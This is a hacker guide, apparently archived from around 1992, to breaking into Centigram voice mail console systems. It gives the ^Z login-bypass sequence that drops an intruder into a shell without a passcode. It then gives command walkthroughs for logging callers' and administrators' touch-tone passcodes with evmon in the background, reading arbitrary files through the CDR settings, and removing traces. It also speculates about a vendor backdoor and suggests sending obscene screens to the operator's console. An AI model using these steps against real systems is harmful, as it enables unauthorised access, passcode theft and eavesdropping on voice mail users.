Notes on Centigram Voice Mail system Consoles
Proper entry procedure, possible design flaw and serious security
bug:
Due to, I assume, more efficient task-handling and the
desire for a more 'Unix-like' environment, the developers at
Centigram needed for certain key functions to be available at all
times. For instance, the ^Z key acts as the 'escape' key (these
can be remapped, if desired). When necessary for some
applications to use an 'escape' procedure, pressing this key can,
in at leas cases, cause a drop to shell, or /cmds/qnxsh
(possibly /cmds/sh, as well, but I'm used to seeing qnxsh). If
this escape procedure were invoked during, say, /cmds/login, the
resulting drop to shell would by-pass the 'Enter Passcode:'
message. And it does.
After calling the Centigram, normal procedure is to hit ^Z
to activate the terminal, followed by the entry of the remote or
console passcodes, and then proceeding with normal console
activities. However, if ^Z is continually depressed during the
login sequence, the login program will abort and run /cmds/qnxsh.
The behavior may be somewhat erratic by the repeat use of the
escape key, but when the $ prompt appears, usually, it doesn't
deliberately go away without an 'exit' command or a ^D.
Typically, a login pattern can develop to accommodate the erratic
behavior something along the lines of: continuously depress ^Z
until $ prompt appears, hit return, possibly get 'Enter Passcode:'
message, hit return, and $ prompt appears again, set proper tty
setting, and change directory appropriately, and continue with
normal console functions.
Initial STTY Setting:
I've had problems with my terminal settings not being set
properly during the above entry procedure. I can correct this by
using the "stty +echo +edit" command, and, for my terminal, all
is restored. The correct values for STTY options and keys appear
to be:
Options: +echo +edit +etab +ers +edel +oflow +mapcr +hangup
break=03h esc=1Ah rub=7Fh can=18h eot=04h up=15h
down=
0Ah left=08h ins=0Eh del=0Bh
The keymap, of course, can be modified as desired, but the
options, especially +edit, appear to be necessary.
[A somewhat detailed description of the options could follow, or
maybe just a list and a brief review of the ones I care to
comment on]
Disks and directories:
The drives and directories are set up in a remotely MessDos
fashion. The output of a 'pwd' command looks similar to '4:/'.
'4;' represents the drive number, and '/' is the start of the
directory structure, '4:/' being the root directory for drive 4,
'3:/tmp' being the /tmp directory on drive 3, etc.
The two most important directories are 1:/cmds and 4:/cmds,
which contain, for the most part, the program files for all of
the performable commands on the system, excluding the commands
written into the shell. The directory 1:/cmds should look
similar to:
$ ls
backup drel ls rm talk
chattr eo mkdir rmdir tcap
choose fdformat mount runfloppy timer
clrhouse files p search tsk
cp frel pack sh unpack
date get_boolean patch slay ws
ddump led pwd sleep zap
diff led.init qnxsh spatch
dinit login query stty
This is a display of many useful commands. chattr changes
the read/write file attributes, cp is copy, ddump dumps disk
sectors in hex & ascii, led is the line editor, p is the file
print utility, and a variety of other things that you can
experiment with at your own leisure. DO NOT USE THE TALK
COMMAND. At least, be careful if you do. If you try to
communicate with your own terminal, it locks communication with
the shell, and upon hangup, for some reason, causes (well, in one
instance) a major system error and system-wide reboot, which,
quite frankly, made me say 'Oops. I'm not doing that again'
when I called to check on the actual voice mailboxes, and the
phone line just sat there, dead as old wood; and I was quite
relieved that it came back up after a few minutes.
The other directory, 4:/cmds, is filled with more specific
commands pertaining to functions within the voice mail system
itself. These programs are actually run from within other
programs, to produce an easy-to-understand menu system.
Normally, this menu system is immediately run after the entry
of the remote or console passcode, but it would not be run when
using the aforementioned security bug. It can be run from the
shell simply by typing the name of the program, 'console'.
Mounting and Initializing Drives:
The MOUNT command produces results similar to this when run
without arguments:
$ mount
Drive 1: Hard, 360k, offset = 256k, partition= Qnx
Drive 2: Floppy, 360k, p=1Drive 3: RamDisk, 96k, partition= Qnx
Drive 4: Hard, 6.1M, offset = 616k, partition= Qnx
$tty0 = $con, Serial at 03F8
$tty1 = $term1 , Serial at 02F8
$tty2 = $term2 , Serial at 0420
$tty3 = $mdm , Serial at 0428
The Hard and Floppy drives are fairly self-explanatory,
although I can't explain why they appear to be so small, nor do
I know where the voice recordings go, or if this list contain all
the space required for voice storage.
The Ramdisk, however, is a bit more interesting to me. The
mount command used for the above-mentioned disk 3 was:
$ mount ramdisk 3 s=96k -v
Although I'm not sure what the -v qualifier does, the rest
is fairly straightforward. I assume that the size of the drive
can be greater than 96k, although I haven't yet played with it to
see how far it can go. To initialize the drive, the following
command was used:
$ dinit 3
Quite simple, really. Now the drive is ready for use, so
one can 'mkdir 3:/tmp' or such and route files there as desired,
or use it for whatever purpose. If something is accidentally
redirected to the console with >$cons, you can use the line
editor 'led' to create a temporary file and then use the print
utility 'p' to clear the console's screen by using "p filename
>$cons", where filename contains a clear screen of 25 lines, or
an @ÞSI bomb (if appropriate), or a full-screen DobbsHead or
whatever you like.
EVMON and password collecting:
The evmon utility is responsible for informing the system
manager about the activity currently taking place within the
voice mail system. Run alone, evmon produces output similar to:
$ evmon
Type Ctrl-C to terminate.
ln 26 tt 3
ln 26 line break
ln 26 onhook
ln 28 ringing
ln 28 tt 8
ln 28 tt 7
ln 28 tt 6
ln 28 tt 2
ln 28 offhook
ln 28 tt *
ln 28 tt 2
ln 28 tt 0
ln 28 tt 3
ln 28 tt 0
ln 28 line break
ln 28 onhook
[...]
And so forth. This identifies a certain phone line, such as line
28, and a certain action taking place on the line, such as the
line ringing, going on or offhook, etc. The 'tt' stands (I
assume) for touch tone, and it is, of course, the tone currently
played on the line; which means that touchtone entry of passcodes
can be recorded and filed at will. In the above example, the
passcode for Mailbox 8762 is 2030 (the * key, along with the 0
key, can acts as the 'user entering mailbox' key; it can,
however, also be the abort key during passcode entry, and other
things as well). Now the user, of course, doesn't (usually) dial
8762 to enter his mailbox, he simply dials the mailbox number and
then * plus his passcode; the reason for this is the type of
signalling coming from the switch to this particular business
line was set-up for four digit touch tone ID to route the line to
the appropriate called number. This is not the only method of
signalling, however, as I've seen other businesses that use three
digit pulse signalling, for example, and there are others as
well. Each may have it's own eccentricities, but I would imagine
that the line ID would be displayed with EVMON in most cases.
Now, let's say we're online, and we want to play around, and
we want to collect passcodes. We've set up our Ramdisk to normal
size and we are ready to run evmon. We could run it, sit at our
terminal, and then record the output, but it's such a time
consuming task (this is 'real-time', after all) that sitting and
waiting be nearly pointless. So, we use the handy features of
run-in-background and file-redirection. (See, I told you we were
getting 'Unix-like'.)
$ evmon > 3:/tmp/output &
Type Ctrl-C to terminate.
5e1e
$ ...
5e1e is the task ID (TID) of the new evmon process. Now we
can go off and perform whatever lists we want, or just play in
the directories, or route DobbsHeads or whatever. When we decide
to end for the day, we simply stop EVMON, nab the file, remove
it, and if necessary, dismount the ramdisk.
$ kill 5e1e
$ p 3:/tmp/output
[ EVMON output would normally appear; if, however, ]
[ there is none, the file would be deleted during ]
[ the kill with an error message resulting ]
$ rm 3:/tmp/output
$ rmdir 3:/tmp
$ mount ramdisk 3
and now we can ^D or exit out of the shell and say good-bye.
The good thing about this EVMON procedure is that you don't
need to be online while it runs. You could start a task sometime
at night and then wait until the next day before you kill the
process and check your results. This usually produces large log
files anywhere from 40K to 200K, depending upon the amount of
system usage (these figures are rough estimates). If, however,
you start the EVMON task and leave it running, then the
administrator will not be able to start a new EVMON session until
the old task is killed. While this probably shouldn't be a
problem over the weekends, during business hours it may become a
little risky.
Remember though, that the risk might be worth it, especially
if the administrator decides to check his mailbox; you'd then
have his passcode, and possibly, remote telephone access to
system administrator functions via touch-tone on the mailbox
system.
Task management:
As we have just noted, any task like EVMON can be run in the
background by appending the command line with a &, the standard
unix 'run-in-background' character. A Task ID will echo back in
hexadecimal, quite comparable to the unix Process ID. The
program responsible for task management is called 'tsk' and
should be in 1:/cmds/tsk. Output from running tsk alone should
look something like:
$ tsk
Tty Program Tid State Blk Pri Flags Grp Mem Dad Bro Son
0 task 0001 READY ---- 1 ---IPLA----- 255 255 ---- ---- ----
0 fsys 0002 RECV 0000 3 ---IPLA----- 255 255 ---- ---- ----
0 dev 0003 RECV 0000 2 ---IPLA----- 255 255 ---- ---- ----
0 idle 0004 READY ---- 15 ----PLA----- 255 255 ---- ---- 0508
0 /cmds/timer 0607 RECV 0000 2 -S--P-AC---- 255 255 ---- ---- ----
0 /cmds/err_log 0509 RECV 0000 5 -S--P--C---- 255 255 0A0A ---- ----
0 /cmds/ovrseer 0A0A REPLY 0607 5 -S--P--C---- 255 255 ---- ---- 030C
0 /cmds/recorder 010B REPLY 0509 5 -S--P--C---- 255 255 0A0A 0509 ----
0 /cmds/master 030C REPLY 0607 5 -S--P--C---- 255 255 0A0A 010B 011C
[ ... a wide assortment of programs ... ]
0 /cmds/vmemo 011C REPLY 0110 13 -S-----C---- 255 255 030C 011B ----
3 /cmds/comm 0508 RECV 5622 8 ----P-A----- 255 255 0004 ---- 5622
3 /cmds/tsk 051D REPLY 0001 8 ------------ 255 255 301E ---- ----
3 /cmds/qnxsh 301E REPLY 0001 14 ---------E-- 255 255 5622 ---- 051D
3 /cmds/login 5622 REPLY 0003 8 -------C---- 255 255 0508 ---- 301E
Although I'm not quite sure at some of the specifics
displayed in this output, the important parts are obvious. The
first column is the tty number which corresponds to the $tty list
in 'mount' (meaning that the modem I've just called is $tty3, and
I am simultaneously running four tasks from that line); the
second column is the program name (without the drive
specification); the third column is the task ID; the middle
columns are unknown to me; and the last three represent the ties
and relations to other tasks (Parent task ID, another task ID
created from the same parent, and task ID of any program called).
Knowing this, it's easy to follow the tasks we've created
since login. Initially, task 0508, /cmds/comm, was run, which
presumably contains the requisite 'what should I do know that my
user has pressed a key?' functions, which called /cmds/login to
log the user in. Login was interrupted with ^Z and one of the
shells, qnxsh, was called to handle input from the user.
Finally, the typing of 'tsk' requires that the /cmds/tsk program
be given a task ID, and the output of the program is simply
confirming that it exists.
As mentioned, to kill a task from the shell, simply type
'kill [task-id]' where [task-id] is the four digit hexadecimal
number.
There are other functions of the tsk program, as well. The
help screen lists:
$ tsk ?
use: tsk [f={cmoprst}] [p=program] [t=tty] [u=userid]
tsk code [p=program]
tsk info
tsk mem t=tid
tsk names
tsk size [p=program] [t=tty] [u=userid]
tsk ports
tsk
tsk
tsk tree [+tid] [+all] [-net]
tsk users [p=program] [t=tty] [u=userid]
tsk vcs
tsk who tid ...
options: +qnx -header +physical [n=]node s=sort_field
I haven't seen all the information available from this, yet,
as the plain 'tsk' tells me everything I need to know; however,
you may want to play around, there's no telling what secrets are
hidden...
$ tsk tsk
Tsk tsk? Have I been a bad computer?
See what I mean?
ddump:
The ddump utility is used to display the contents on a
specified blocks of the disk. It's quite simple to use.
$ ddump ?
use: ddump drive block_number [-v]
Again, I'm not quite sure what the -v switch does, but the
instructions are very straightforward. Normal output looks
similar to:
$ ddump 3 3
Place diskette in drive 3 and hit <CR> <-- this message is always
displayed by ddump.
Block 00000003 Status: 00
000: 00 00 00 00 00 00 00 00 94 00 00 00 00 00 00 00 ................
010: 01 00 01 00 40 02 00 00 00 02 00 00 00 00 00 00 ....@....Î.L—...
020: 00 01 00 FF FF 00 00 97 37 29 17 00 01 01 01 30 ........7).....0
030: C4 17 8E 62 69 74 6D 61 70 00 00 00 00 00 00 00 ...bitmap.......
040: 00 00 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 ................
050: 00 00 00 FF FF 00 00 A5 37 29 17 00 01 01 17 30 ........7).....0
060: C4 25 8E 6C 6C 6C 00 00 00 00 00 00 00 00 00 00 .%.lll..........
070: 00 00 00 00 50 0E 00 00 00 0E 00 00 00 00 00 00 ....P...........
080: 00 01 00 FF FF 7E 05 A8 38 29 17 00 01 01 17 30 .....~..8).....0
090: C4 28 8F 61 62 63 00 00 00 00 00 00 00 00 00 00 .(.abc..........
0A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[...etc...]
As you can probably notice, what we have here is the
directory track for the ramdisk. It lists three files, even
though the file abc no longer exists. The actual bytes have yet
to be decoded, but, as far as the ramdisk goes, I suspect that
they'll be memory related, and not physical block related; that
is, I suspect that some of the numbers given above correspond to
the memory address of the file, and not to the actual disk-block.
So, at least for the ramdisk, finding specific files may be
difficult. However, if you only have one file one the ramdisk
besides 'bitmap' (which appears to be mandatory across all the
disks), then the next file you create should reside on track 4
and continue working it's way up. Therefore, if you have evmon
running and redirected to a file on the ramdisk, in order to
check the contents, it's not necessary to kill the process, and
restart evmon, etc. Simply 'ddump 3 4', and you could get either
useless information (all the bytes are 00 or FF), or you could
get something like:
$ ddump 3 4
Place diskette in drive 3 and hit <CR>
Block 00000004 Status: 00
000: 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 ................
010: 6C 6E 20 20 32 36 20 74 74 20 33 1E 6C 6E 20 20 ln 26 tt 3.ln
020: 32 36 20 6C 69 6E 65 20 62 72 65 61 6B 1E 6C 6E 26 line break.ln
030: 20 20 32 36 20 6F 6E 68 6F 6F 6B 1E 6C 6E 20 20 26 onhook.ln
040: 32 38 20 72 69 6E 67 69 6E 67 1E 6C 6E 20 20 32 28 ringing.ln 2
050: 38 20 74 74 20 38 1E 6C 6E 20 20 32 38 20 74 74 8 tt 8.ln 28 tt
060: 20 37 1E 6C 6E 20 20 32 38 20 74 74 20 36 1E 6C 7.ln 28 tt 6.l
070: 6E 20 20 32 38 20 74 74 20 32 1E 6C 6E 20 20 32 n 28 tt 2.ln 2
080: 38 20 6F 66 66 68 6F 6F 6B 1E 6C 6E 20 20 32 38 8 offhook.ln 28
090: 20 74 74 20 2A 1E 6C 6E 20 20 32 38 20 74 74 20 tt *.ln 28 tt
... and so forth, thus making sure that the file does have
some content. Depending upon the length of that content, you
could then choose to either keep the file running, or restart
evmon and buffer the previous output.
led:
The program 'led' is Centigram's answer to a standard text
editor. It is equivalent to 'ed' in unix or 'edlin' in MSDOS,
but it does have it's minor differences. led is used to create
text files, edit, existing log files, or edit executable shell
scripts. By typing 'led [filename]', you will enter the led
editor, and if a filename is specified, and it exists, the file
will be loaded and the editor set to line 1. If there is no
filename on the command line, or the file does not exist, of the
file is busy, then led begins editing a null file, an empty
buffer, without the corresponding filename. (Commands can also
be specified to be used in led after the filename is entered. If
needed, you can experiment with this.)
Notable commands from within led:
i insert
a append
w [filename] write to disk; if no file is named, attempt to
write to current file; if there is no current
file, do not write.
d delete current line
a number goto line numbered
q quit (if not saved, inform user to use 'qq')
qq Really quit
When inserting or appending, led will prompt you with a '.'
period. To end you entry, simply enter one period alone on a
line, and you will then return to command mode. When displaying
the current entry, led will prefix
all new, updated lines, with the 'i' character.
The key sequence to enter a Dobbshead into a file and
redirect it to the console, then, would be:
$ led 3:/dobbshead3:/dobbshead : unable to match file
i ___
. / \
. | o o |
. | Y |
U===== |
\___/
FUCK YOU!
q
?4 buffer has been modified, use qq to quit without saving
w 3:/dobbshead
7 [the number of lines in the file]
q
$ p 3:/dobbshead > $cons
$ rm 3:/dobbshead
Ok, so it's not quite the Dobbshead. Fuck you.
The console utility:
The program that acts as the menu driver for the Voice Mail
System Administration, the program that is normally run upon
correct passcode entry, is /cmds/console. This program will
simply produce a menu with a variety of sub-menu's that allow
the administrator to perform a wide assortment of tasks. Since
this is mostly self-explanatory, I'll let you find out about
these functions for youself; I will, however, add just a few
comments about the console utility. The first menu received
should look like this:
(c) All Software Copyright 1983, 1989 Centigram Corporation
All Rights Reserved.
MAIN MENU
(R) Mailbox maintenance
(R) Report generation
(S) System maintenance
(X) Exit
Enter letter in () to execute command.
When you need help later, type ?.
COMMAND (M/R/S/X):
The mailbox maintenance option is used when you want to
find specific information concerning mailboxes on the system.
For instance, to get a listing of all the mailboxes currently
being used on the system:
COMMAND (M/R/S/X): m
MAILBOX MAINTENANCE
(B) Mailbox block inquiry
(C) Create new mailboxes
(D) Delete mailboxes
(E) Mailbox dump
(I) Inquire about mailboxes
(L) List maintenance
(M) Modify mailboxes
(P) Set passcode/tutorial
(R) Rotational mailboxes
(S) Search for mailboxes
(X) Exit
If you need help later, type ?.
COMMAND (B/C/D/E/I/L/M/P/R/S/X): i
Report destination (c/s1/s2) [c]:
Mailbox to display: 0000-9999
>>> BOBTEL <<<
Mailbox Data Inquiry
Tue Mar 31, 1992 3:07 am
Box Msgs Unp Urg Rec Mins FCOS LCOS GCOS NCOS MWI Passwd
8001 1 1 0 0 0.0 5 5 1 1 None Y
8002 0 0 0 0 0.0 5 5 1 1 None Y (t)
8003 0 0 0 0 0.0 12 12 1 1 None
0 0 0.0 12 12 1 1 None Y
8006 6 6 0 0 0.7 12 12 1 1 None N
8008 0 0 0 0 0.0 5 5 1 1 None Y
8013 0 0 0 0 0.0 12 12 1 1 None 1234
8014 0 0 0 0 0.0 5 5 1 1 None Y
8016 0 0 0 0 0.0 12 12 1 1 None Y
[ ... etc ... ]
This simply lists every box along with the relevant
information concerning are the
Total number of messages, number of unplayed messages, number of
urgent messages, and number of received messages currently being
stored on the drive for the mailbox; Mins is the numbers of
minutes currently being used by those messages; F, L, G, and
NCOS are various classes of service for the mailboxes; MWI is
the message waiting indicator, or service light; and Passwd is
simply a Yes/No condition informing the administrator whether
the mailbox currently has a password. The'(t)' the password
field means the box is currently in tutorial mode, and the '1234'
that replaces the Y/N condition, I assume, means the box is set
to initial tutorial mode with simple passcode 1234 -- in other
words the box is available to be used by a new subscriber.
Mailboxes with FCOS of 1 should be looked for, these represent
administration or service mailboxes, although they are not
necessarily capable of performing system administration
functions.
The System maintenance option from the main menu is very
useful in that, if you don't have access to the qnxsh, you can
still run a number of tasks or print out any file you wish from
within the menu system. The System Mainenance menu looks like:
SYSTEM MAINTENANCE
(A) Automatic Wakeup
(B) Automated Receptionist Extensions
(D) Display modem passcode
(E) Enable modem/serial port
(F) Floppy backup
(G) Resynchronize HIS PMS room status
(H) Hard Disk Utilities
(L) Lights test
(M) Manual message purge
(N) System name
(P) Passcode
(R) Reconfiguration
(S) System shutdown
(T) Time and date
(U) Utility menu
(V) Call Detail Recorder
(W) Network menu
(X) Exit
Enter letter in () to execute command.
When you need help later, type ?.
COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X):
If you don't have access to the 'p' command, you can still
display any specific file on the drive that you wish to see.
Choose 'v', the Call Detail Recorder option, from above, and you
will get this menu:
COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): v
Warning: cdr is not running.
CALL DETAIL RECORDER MENU
(C) Configure CDR
(R) Run CDR
(T) Terminate CDR
(E) Run EVMON
(F) Terminate EVMON
(S) Show CDR log file
(D) Delete CDR log file
(X) Exit
If you need help later, type ?.
COMMAND (C/R/T/E/F/S/D/X):
M From here, you can use (C) Configure CDR to set the log
file to any name that you want, and use (S) to print that file
to your terminal.
COMMAND (C/R/T/E/F/S/D/X): c
Answer the following question to configure call detail recorder
[ simply hit return until the last 'filename' question come up ]
VoiceMemo line numbers enabled:
HOST 1 lines:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
VoiceMemo line numbers:
EVMON: HOST 1 lines to monitor:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
EVMON:VoiceMemo line numbers:
Message levels are:
1: Detailed VoiceMemo
2: VoiceMemo
3: Pager
4: Receptionist
5: EVMON
6: Automatic WakeUp
7: Open Account Administrator
8: DTMF to PBX
9: Message Waiting Lamp
10: SL-1 integration
11: Centrex Integration
Message levels enabled:
2 3 7 9
Message levels:
cdr enable = [N]
Enter filename to save log data = [/logfile] /config/remote.cmds
Returning from the CDR configuration.
CALL DETAIL RECORDER MENU
(C) Configure CDR
(R) Run CDR
(T) Terminate CDR
(E) Run EVMON
(F) Terminate EVMON
(S) Show CDR log file
(D) Delete CDR log file
(X) Exit
If you need help later, type ?.
COMMAND (C/R/T/E/F/S/D/X): s
ad
cd
copy
date
dskchk
evmon
files
ls
mount
p
pwd
query
task
tcap
what
Don't forget to return the filename back to it's original
name, as shown in the [] field, after you have finished.
If you don't have access to the shell, you can also run
EVMON, from the CDR menu, using option E. It will simply start
the evmon process displaying to your terminal, interruptable by
the break character, ^C. This, unfortunately, cannot be
redirected or run in the background as tasks running from the
shell can. If, however, you have some time to kill you may want
to play with it.
Also from the System Maintenance menu, you can perform a
number of shell tasks without direct access to the shell. Option
(U), Utilities Menu, has an option called Task. This will allow
you limited shell access, possibly with redirection and '&' back-
grounding.
COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): U
UTILITY MENU
(B) Reboot
(H) History
(T) Task
(X) Exit
Enter letter in () to execute command.
When you need help later, type ?.
COMMAND (B/H/T/X): t
Choose the following commands:
ad cd copy date
dskchk evmon files ls
mount p pwd query
task tcap what
Enter a command name or 'X' to exit: pwd
1:/
Choose the following commands:
ad cd copy date
dskchk evmon files ls
mount p pwd query
task tcap what
Enter a command name or 'X' to exit: evmon
Type Ctrl-C to terminate.
ln 29 ringing
ln 29 tt 8
ln 29 tt 0
ln 29 tt 8
ln 29 tt 6
ln 29 offhook
ln 29 record ended
[ ... etc ... ]
A look at 'ad':
The program 'ad' is called to dump information on a variety
of things, the most useful being mailboxes. Dumps of specific
information about a mailbox can be done either in Mailbox format,
or Raw Dump format. Mailbox format looks like:
$ ad
Type #: 0
Mailbox #: 8486
(M)ailbox, (D)ump ? m
MAILBOX: 8486
Login status:
Bad logs = 3 Last log = 03/26/92 12:19 pmVersion = 0
Configuration:
Name # = 207314 Greeting = 207309 Greeting2 = 0
Passcode = XXXXXXXXXX Tutorial = N Extension = 8486
Ext index = 0 Attendant = Attend index = 0
Code = ID = BOBTECHM Night_treat = M Fcos = 12 os = 12 Gcos = 1 Ncos = 1 Rot index = 0 o eid = 0 Rot start = -- wkup defined
fdx_msgs= 0
Sent_urg_msgs= 0 Tas_msgs = 0 Pages = 0
Receipt = 0 Sent_to_node = 0 Urg_to_node = 0
Net_urg_mlen = 0 Net_msgs_rcv = 0 Net_urg_rcv = 0
Net_sent_node= 0 Net_send_nurg= 0 Net_send_rcp = 0
Greet_count = 9 Successlogins= 1 Recpt_calls = 0
Recpt_complt = 0 Recpt_busy = 0 Recpt_rna = 0
Recpt_msgs = 0 Recpt_attend = 0 User_connect = 20
Clr_connect = 22 Callp_connect= 0 Disk_use = 498
Net_sent_mlen= 0 Net_rcvd_mlen= 0 Net_rcvd_urg = 0
Net_node_mlen= 0 Net_recip_mlen=0 Net_node_urg = 0
Text_msg_cnt = 0
Message Queues:
TYPE COUNT TOTAL HEAD TAIL TYPE COUNT TOTAL HEAD TAIL
Free 71 --- 58 55 Unplayed 0 --- -1 -1
Played 2 0.5 56 57 Urgent 0 --- -1 -1
Receipts 0 --- -1 -1 Undelivered 0 --- -1 -1
Future delivery 0 --- -1 -1 Call placement 0 --- -1 -1
Messages: 2
# msg # DATE TIME LENGTH SENDER PORT FLAGS MSG SIBL
(MINS) NXT PRV NXT PRV
Played Queue
56 207126 03/26/92 12:17 pm 0.5 000000000000000 27 ------P- 57 -1 -1 -1
57 207147 03/26/92 12:19 pm 0.1 000000000000000 29 ------P- -1 56 -1 -1
The Ramp format looks like:
$ ad
Type #: 0
Mailbox #: 8487
(M)ailbox, (D)ump ? d
HEX: 8487
000: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
010: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
020: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 34 38 |..............48|
030: 37 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 [37m..............|
040: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
050: 00 00 00 00 00 00 00 00 - 00 00 42 49 4f 54 45 43 |..........BOBTEC|
060: 48 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |H...............|
070: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 37 32 33 |.............723|
090: 36 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 [33m..............|
0a0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
0b0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
0c0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
[mostly deleted -- the list continues to hex fff.]
One of the unfortunate aspects is that the password is not
displayed in the Mailbox format (Awwww!). I can tell you now,
though, that it also isn't displayed anywhere in the Raw Dump
format. The program 'asetpass' was used to change the password
of a test mailbox, and both full dumps were downloaded and
compared; they matched exactly. So, it looks like the passcodes
are probably stored somewhere else, and the dump simply contains
a link to the appropriate offset; which meansthe only way, so
far, to get passcodes for mailboxes is to capture them in EVMON.
Intricacies of the login program:
The console login program is 1:/cmds/login. Although I
can't even recognize any valid 8080 series assembly in the
program (and I'm told the Centigram boxes run on the 8080
family), I did manage to find a few interesting tidbits inside of
it. Firstly, the console and remote passwords seems to be stored
in the file /config/rates; unfortunately, it's encrypted and I'm
not going to try to break the scheme. /config/rates looks like
this:
$ p /config/rates
\CE\FFC~C~\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00
\00\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00\00\00\00\00\00\00\00\00
functions with different passcodes. In this instance, only one
passcode appears to be selected. I am still unsure, however,
whether this is actually a password file, or a file that would
acts as a pointer to another space on the disk which contains the
actual password. I would assume, for this login program, that it
is actually an encrypted password.
Another very interesting thing sleeping within the confines
of the login program is the inconspicuous string 'QNX'. It sits
in the code between two 'Enter Passcode:' prompts, separated by
\00's. I believe this to be a system-wide backdoor placed into
the login program by Centigram, Corp. Such a thing does exist;
whenever Centigram wants to get into a certain mailbox system to
perform maintenance or solve a problem, they can. They may,
however, require the Serial number of the machine or of the Hard
Drive, in order to get this access. (This serial number would be
provided by the company requiring service.)
When logging in with QNX, a very strange thing happens.
(^Z)
Enter Passcode: (QNX^M) Enter Passcode:
A second passcode prompt appears, a prompt in which the
'QNX' passcode produces an Invalid Passcode message. I believe
that when Centigram logs in from remote, they use this procedure,
along with either a predetermined passcode, or a passcode
determined based on a serial number, to access the system. I
have not ever seen this procedure actually done, but it is the
best speculation that I can give.
I should also make note of a somewhat less important point.
Should the console have no passcodes assigned, a simple ^Z for
terminal activation will start the /cmds/console program, and
log the user directly in without prompting for a passcode. The
odds on finding a Centigram like this, nowadays, is probably as
remote as being struck by lightning, but personally, I can recall
a time a number of years back when a Florida company hadn't yet
passcode protected a Centigram. It was very fun to have such a
large number of people communicating back and forth in normal
voice; it was even more fun to hop on conferences with a number
of people and record the stupidity of the average Bell operator.
Special Keys or Strings:
There are a number of special characters or strings that are
important to either the shell or the program being executed.
Some of these are:
? after the program name, gives help list for that program.
& runs a task in the background
: sets the comment field (for text within shell scripts)
; command delimiter within the shell
> redirects output of a task to a file
< (theoretically) routes input from a file
$cons the 'filename' of the console (redirectable)
$tty# the 'filename' of tty number '#'
$mdm the 'filename' of the modem line
#$ ? produces a value like '1920', '321d'
probably the TID of the current process
## ? produces a value like 'ffff'
#% ? produces a value like '0020', '001d'
#& ? produces a value like '0000'
#? ? produces a value like '0000'
#* a null argument
#g ? produces a value like '00ff'
#i directly followed by a number, produces '0000'
not followed, produces the error 'non-existent integer
variable' probably used in conjunction with environment
variables
#k accepts a line from current input (stdin) to be
substituted on the command line
#m ? '00ff'
#n ? '0000'
#p ? '0042'
#s produces the error 'non-existent string variable'
probably used in conjunction with environment variables
#t ? '0003'
#u ? some string similar to 'system'
#D ? '0018'
#M ? '0004'
#Y ? '005c'
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
